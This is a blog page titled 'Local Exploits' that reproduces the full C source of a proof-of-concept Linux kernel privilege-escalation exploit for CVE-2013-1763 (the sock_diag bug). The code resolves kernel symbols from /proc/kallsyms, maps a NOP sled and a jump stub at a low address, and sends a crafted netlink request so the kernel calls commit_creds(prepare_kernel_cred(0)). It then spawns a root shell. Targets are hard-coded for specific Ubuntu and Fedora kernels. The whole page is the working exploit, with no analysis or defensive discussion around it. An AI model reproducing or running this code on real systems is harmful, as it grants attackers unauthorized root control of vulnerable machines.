Mr.Quay's Blog: Local Exploits

<div class="container">
<div class="line number1 index0 alt2">
<code class="text plain">/* </code></div>
<div class="line number2 index1 alt1">
<code class="text plain">* quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8</code></div>
<div class="line number3 index2 alt2">
<code class="text plain">* bug found by Spender</code></div>
<div class="line number4 index3 alt1">
<code class="text plain">* poc by SynQ</code></div>
<div class="line number5 index4 alt2">
<code class="text plain">* </code></div>
<div class="line number6 index5 alt1">
<code class="text plain">* hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux</code></div>
<div class="line number7 index6 alt2">
<code class="text plain">* using nl_table->hash.rehash_time, index 81</code></div>
<div class="line number8 index7 alt1">
<code class="text plain">* </code></div>
<div class="line number9 index8 alt2">
<code class="text plain">* Fedora 18 support added</code></div>
<div class="line number10 index9 alt1">
<code class="text plain">* </code></div>
<div class="line number11 index10 alt2">
<code class="text plain">* 2/2013</code></div>
<div class="line number12 index11 alt1">
<code class="text plain">*/</code></div>
<div class="line number13 index12 alt2">
</div>
<div class="line number14 index13 alt1">
<code class="text plain">#include <unistd.h></code></div>
<div class="line number15 index14 alt2">
<code class="text plain">#include <sys/socket.h></code></div>
<div class="line number16 index15 alt1">
<code class="text plain">#include <linux/netlink.h></code></div>
<div class="line number17 index16 alt2">
<code class="text plain">#include <netinet/tcp.h></code></div>
<div class="line number18 index17 alt1">
<code class="text plain">#include <errno.h></code></div>
<div class="line number19 index18 alt2">
<code class="text plain">#include <linux/if.h></code></div>
<div class="line number20 index19 alt1">
<code class="text plain">#include <linux/filter.h></code></div>
<div class="line number21 index20 alt2">
<code class="text plain">#include <string.h></code></div>
<div class="line number22 index21 alt1">
<code class="text plain">#include <stdio.h></code></div>
<div class="line number23 index22 alt2">
<code class="text plain">#include <stdlib.h></code></div>
<div class="line number24 index23 alt1">
<code class="text plain">#include <linux/sock_diag.h></code></div>
<div class="line number25 index24 alt2">
<code class="text plain">#include <linux/inet_diag.h></code></div>
<div class="line number26 index25 alt1">
<code class="text plain">#include <linux/unix_diag.h></code></div>
<div class="line number27 index26 alt2">
<code class="text plain">#include <sys/mman.h></code></div>
<div class="line number28 index27 alt1">
</div>
<div class="line number29 index28 alt2">
<code class="text plain">typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);</code></div>
<div class="line number30 index29 alt1">
<code class="text plain">typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);</code></div>
<div class="line number31 index30 alt2">
<code class="text plain">_commit_creds commit_creds;</code></div>
<div class="line number32 index31 alt1">
<code class="text plain">_prepare_kernel_cred prepare_kernel_cred;</code></div>
<div class="line number33 index32 alt2">
<code class="text plain">unsigned long sock_diag_handlers, nl_table;</code></div>
<div class="line number34 index33 alt1">
</div>
<div class="line number35 index34 alt2">
<code class="text plain">int __attribute__((regparm(3)))</code></div>
<div class="line number36 index35 alt1">
<code class="text plain">kernel_code()</code></div>
<div class="line number37 index36 alt2">
<code class="text plain">{</code></div>
<div class="line number38 index37 alt1">
<code class="text spaces">    </code><code class="text plain">commit_creds(prepare_kernel_cred(0));</code></div>
<div class="line number39 index38 alt2">
<code class="text spaces">    </code><code class="text plain">return -1;</code></div>
<div class="line number40 index39 alt1">
<code class="text plain">}</code></div>
<div class="line number41 index40 alt2">
</div>
<div class="line number42 index41 alt1">
<code class="text plain">int jump_payload_not_used(void *skb, void *nlh)</code></div>
<div class="line number43 index42 alt2">
<code class="text plain">{</code></div>
<div class="line number44 index43 alt1">
<code class="text spaces">    </code><code class="text plain">asm volatile (</code></div>
<div class="line number45 index44 alt2">
<code class="text spaces">        </code><code class="text plain">"mov $kernel_code, %eax\n"</code></div>
<div class="line number46 index45 alt1">
<code class="text spaces">        </code><code class="text plain">"call *%eax\n"</code></div>
<div class="line number47 index46 alt2">
<code class="text spaces">    </code><code class="text plain">);</code></div>
<div class="line number48 index47 alt1">
<code class="text plain">}</code></div>
<div class="line number49 index48 alt2">
</div>
<div class="line number50 index49 alt1">
<code class="text plain">unsigned long</code></div>
<div class="line number51 index50 alt2">
<code class="text plain">get_symbol(char *name)</code></div>
<div class="line number52 index51 alt1">
<code class="text plain">{</code></div>
<div class="line number53 index52 alt2">
<code class="text spaces">    </code><code class="text plain">FILE *f;</code></div>
<div class="line number54 index53 alt1">
<code class="text spaces">    </code><code class="text plain">unsigned long addr;</code></div>
<div class="line number55 index54 alt2">
<code class="text spaces">    </code><code class="text plain">char dummy, sym[512];</code></div>
<div class="line number56 index55 alt1">
<code class="text spaces">    </code><code class="text plain">int ret = 0;</code></div>
<div class="line number57 index56 alt2">
<code class="text spaces"> </code> </div>
<div class="line number58 index57 alt1">
<code class="text spaces">    </code><code class="text plain">f = fopen("/proc/kallsyms", "r");</code></div>
<div class="line number59 index58 alt2">
<code class="text spaces">    </code><code class="text plain">if (!f) {</code></div>
<div class="line number60 index59 alt1">
<code class="text spaces">        </code><code class="text plain">return 0;</code></div>
<div class="line number61 index60 alt2">
<code class="text spaces">    </code><code class="text plain">}</code></div>
<div class="line number62 index61 alt1">
<code class="text spaces"> </code> </div>
<div class="line number63 index62 alt2">
<code class="text spaces">    </code><code class="text plain">while (ret != EOF) {</code></div>
<div class="line number64 index63 alt1">
<code class="text spaces">        </code><code class="text plain">ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);</code></div>
<div class="line number65 index64 alt2">
<code class="text spaces">        </code><code class="text plain">if (ret == 0) {</code></div>
<div class="line number66 index65 alt1">
<code class="text spaces">            </code><code class="text plain">fscanf(f, "%s\n", sym);</code></div>
<div class="line number67 index66 alt2">
<code class="text spaces">            </code><code class="text plain">continue;</code></div>
<div class="line number68 index67 alt1">
<code class="text spaces">        </code><code class="text plain">}</code></div>
<div class="line number69 index68 alt2">
<code class="text spaces">        </code><code class="text plain">if (!strcmp(name, sym)) {</code></div>
<div class="line number70 index69 alt1">
<code class="text spaces">            </code><code class="text plain">printf("[+] resolved symbol %s to %p\n", name, (void *) addr);</code></div>
<div class="line number71 index70 alt2">
<code class="text spaces">            </code><code class="text plain">fclose(f);</code></div>
<div class="line number72 index71 alt1">
<code class="text spaces">            </code><code class="text plain">return addr;</code></div>
<div class="line number73 index72 alt2">
<code class="text spaces">        </code><code class="text plain">}</code></div>
<div class="line number74 index73 alt1">
<code class="text spaces">    </code><code class="text plain">}</code></div>
<div class="line number75 index74 alt2">
<code class="text spaces">    </code><code class="text plain">fclose(f);</code></div>
<div class="line number76 index75 alt1">
<code class="text spaces"> </code> </div>
<div class="line number77 index76 alt2">
<code class="text spaces">    </code><code class="text plain">return 0;</code></div>
<div class="line number78 index77 alt1">
<code class="text plain">}</code></div>
<div class="line number79 index78 alt2">
</div>
<div class="line number80 index79 alt1">
<code class="text plain">int main(int argc, char*argv[])</code></div>
<div class="line number81 index80 alt2">
<code class="text plain">{</code></div>
<div class="line number82 index81 alt1">
<code class="text spaces">    </code><code class="text plain">int fd;</code></div>
<div class="line number83 index82 alt2">
<code class="text spaces">    </code><code class="text plain">unsigned family;</code></div>
<div class="line number84 index83 alt1">
<code class="text spaces">    </code><code class="text plain">struct {</code></div>
<div class="line number85 index84 alt2">
<code class="text spaces">        </code><code class="text plain">struct nlmsghdr nlh;</code></div>
<div class="line number86 index85 alt1">
<code class="text spaces">        </code><code class="text plain">struct unix_diag_req r;</code></div>
<div class="line number87 index86 alt2">
<code class="text spaces">    </code><code class="text plain">} req;</code></div>
<div class="line number88 index87 alt1">
<code class="text spaces">    </code><code class="text plain">char    buf[8192];</code></div>
<div class="line number89 index88 alt2">
</div>
<div class="line number90 index89 alt1">
<code class="text spaces">    </code><code class="text plain">if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){</code></div>
<div class="line number91 index90 alt2">
<code class="text spaces">        </code><code class="text plain">printf("Can't create sock diag socket\n");</code></div>
<div class="line number92 index91 alt1">
<code class="text spaces">        </code><code class="text plain">return -1;</code></div>
<div class="line number93 index92 alt2">
<code class="text spaces">    </code><code class="text plain">}</code></div>
<div class="line number94 index93 alt1">
</div>
<div class="line number95 index94 alt2">
<code class="text spaces">    </code><code class="text plain">memset(&req, 0, sizeof(req));</code></div>
<div class="line number96 index95 alt1">
<code class="text spaces">    </code><code class="text plain">req.nlh.nlmsg_len = sizeof(req);</code></div>
<div class="line number97 index96 alt2">
<code class="text spaces">    </code><code class="text plain">req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;</code></div>
<div class="line number98 index97 alt1">
<code class="text spaces">    </code><code class="text plain">req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;</code></div>
<div class="line number99 index98 alt2">
<code class="text spaces">    </code><code class="text plain">req.nlh.nlmsg_seq = 123456;</code></div>
<div class="line number100 index99 alt1">
</div>
<div class="line number101 index100 alt2">
<code class="text spaces">    </code><code class="text plain">//req.r.sdiag_family = 89;</code></div>
<div class="line number102 index101 alt1">
<code class="text spaces">    </code><code class="text plain">req.r.udiag_states = -1;</code></div>
<div class="line number103 index102 alt2">
<code class="text spaces">    </code><code class="text plain">req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;</code></div>
<div class="line number104 index103 alt1">
</div>
<div class="line number105 index104 alt2">
<code class="text spaces">    </code><code class="text plain">if(argc==1){</code></div>
<div class="line number106 index105 alt1">
<code class="text spaces">        </code><code class="text plain">printf("Run: %s Fedora|Ubuntu\n",argv[0]);</code></div>
<div class="line number107 index106 alt2">
<code class="text spaces">        </code><code class="text plain">return 0;</code></div>
<div class="line number108 index107 alt1">
<code class="text spaces">    </code><code class="text plain">}</code></div>
<div class="line number109 index108 alt2">
<code class="text spaces">    </code><code class="text plain">else if(strcmp(argv[1],"Fedora")==0){</code></div>
<div class="line number110 index109 alt1">
<code class="text spaces">      </code><code class="text plain">commit_creds = (_commit_creds) get_symbol("commit_creds");</code></div>
<div class="line number111 index110 alt2">
<code class="text spaces">      </code><code class="text plain">prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");</code></div>
<div class="line number112 index111 alt1">
<code class="text spaces">      </code><code class="text plain">sock_diag_handlers = get_symbol("sock_diag_handlers");</code></div>
<div class="line number113 index112 alt2">
<code class="text spaces">      </code><code class="text plain">nl_table = get_symbol("nl_table");</code></div>
<div class="line number114 index113 alt1">
<code class="text spaces">      </code> </div>
<div class="line number115 index114 alt2">
<code class="text spaces">      </code><code class="text plain">if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){</code></div>
<div class="line number116 index115 alt1">
<code class="text spaces">        </code><code class="text plain">printf("some symbols are not available!\n");</code></div>
<div class="line number117 index116 alt2">
<code class="text spaces">        </code><code class="text plain">exit(1);</code></div>
<div class="line number118 index117 alt1">
<code class="text spaces">        </code><code class="text plain">}</code></div>
<div class="line number119 index118 alt2">
</div>
<div class="line number120 index119 alt1">
<code class="text spaces">      </code><code class="text plain">family = (nl_table - sock_diag_handlers) / 4;</code></div>
<div class="line number121 index120 alt2">
<code class="text spaces">      </code><code class="text plain">printf("family=%d\n",family);</code></div>
<div class="line number122 index121 alt1">
<code class="text spaces">      </code><code class="text plain">req.r.sdiag_family = family;</code></div>
<div class="line number123 index122 alt2">
<code class="text spaces">      </code> </div>
<div class="line number124 index123 alt1">
<code class="text spaces">      </code><code class="text plain">if(family>255){</code></div>
<div class="line number125 index124 alt2">
<code class="text spaces">        </code><code class="text plain">printf("nl_table is too far!\n");</code></div>
<div class="line number126 index125 alt1">
<code class="text spaces">        </code><code class="text plain">exit(1);</code></div>
<div class="line number127 index126 alt2">
<code class="text spaces">        </code><code class="text plain">}</code></div>
<div class="line number128 index127 alt1">
<code class="text spaces">    </code><code class="text plain">}</code></div>
<div class="line number129 index128 alt2">
<code class="text spaces">    </code><code class="text plain">else if(strcmp(argv[1],"Ubuntu")==0){</code></div>
<div class="line number130 index129 alt1">
<code class="text spaces">      </code><code class="text plain">commit_creds = (_commit_creds) 0xc106bc60;</code></div>
<div class="line number131 index130 alt2">
<code class="text spaces">      </code><code class="text plain">prepare_kernel_cred = (_prepare_kernel_cred) 0xc106bea0;</code></div>
<div class="line number132 index131 alt1">
<code class="text spaces">      </code><code class="text plain">req.r.sdiag_family = 81;</code></div>
<div class="line number133 index132 alt2">
<code class="text spaces">    </code><code class="text plain">}</code></div>
<div class="line number134 index133 alt1">
</div>
<div class="line number135 index134 alt2">
<code class="text spaces">    </code><code class="text plain">unsigned long mmap_start, mmap_size;</code></div>
<div class="line number136 index135 alt1">
<code class="text spaces">    </code><code class="text plain">mmap_start = 0x10000;</code></div>
<div class="line number137 index136 alt2">
<code class="text spaces">    </code><code class="text plain">mmap_size = 0x120000;</code></div>
<div class="line number138 index137 alt1">
<code class="text spaces">    </code><code class="text plain">printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size);</code></div>
<div class="line number139 index138 alt2">
</div>
<div class="line number140 index139 alt1">
<code class="text spaces">        </code><code class="text plain">if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,</code></div>
<div class="line number141 index140 alt2">
<code class="text spaces">                </code><code class="text plain">MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {</code></div>
<div class="line number142 index141 alt1">
<code class="text spaces">                </code><code class="text plain">printf("mmap fault\n");</code></div>
<div class="line number143 index142 alt2">
<code class="text spaces">                </code><code class="text plain">exit(1);</code></div>
<div class="line number144 index143 alt1">
<code class="text spaces">        </code><code class="text plain">}</code></div>
<div class="line number145 index144 alt2">
<code class="text spaces">    </code><code class="text plain">memset((void*)mmap_start, 0x90, mmap_size);</code></div>
<div class="line number146 index145 alt1">
</div>
<div class="line number147 index146 alt2">
<code class="text spaces">    </code><code class="text plain">char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm</code></div>
<div class="line number148 index147 alt1">
<code class="text spaces">    </code><code class="text plain">unsigned long *asd = &jump[4];</code></div>
<div class="line number149 index148 alt2">
<code class="text spaces">    </code><code class="text plain">*asd = (unsigned long)kernel_code;</code></div>
<div class="line number150 index149 alt1">
</div>
<div class="line number151 index150 alt2">
<code class="text spaces">    </code><code class="text plain">memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));</code></div>
<div class="line number152 index151 alt1">
</div>
<div class="line number153 index152 alt2">
<code class="text spaces">    </code><code class="text plain">if ( send(fd, &req, sizeof(req), 0) < 0) {</code></div>
<div class="line number154 index153 alt1">
<code class="text spaces">        </code><code class="text plain">printf("bad send\n");</code></div>
<div class="line number155 index154 alt2">
<code class="text spaces">        </code><code class="text plain">close(fd);</code></div>
<div class="line number156 index155 alt1">
<code class="text spaces">        </code><code class="text plain">return -1;</code></div>
<div class="line number157 index156 alt2">
<code class="text spaces">    </code><code class="text plain">}</code></div>
<div class="line number158 index157 alt1">
</div>
<div class="line number159 index158 alt2">
<code class="text spaces">    </code><code class="text plain">printf("uid=%d, euid=%d\n",getuid(), geteuid() );</code></div>
<div class="line number160 index159 alt1">
</div>
<div class="line number161 index160 alt2">
<code class="text spaces">    </code><code class="text plain">if(!getuid())</code></div>
<div class="line number162 index161 alt1">
<code class="text spaces">        </code><code class="text plain">system("/bin/sh");</code></div>
<div class="line number163 index162 alt2">
</div>
<div class="line number164 index163 alt1">
<code class="text plain">}</code></div>
</div>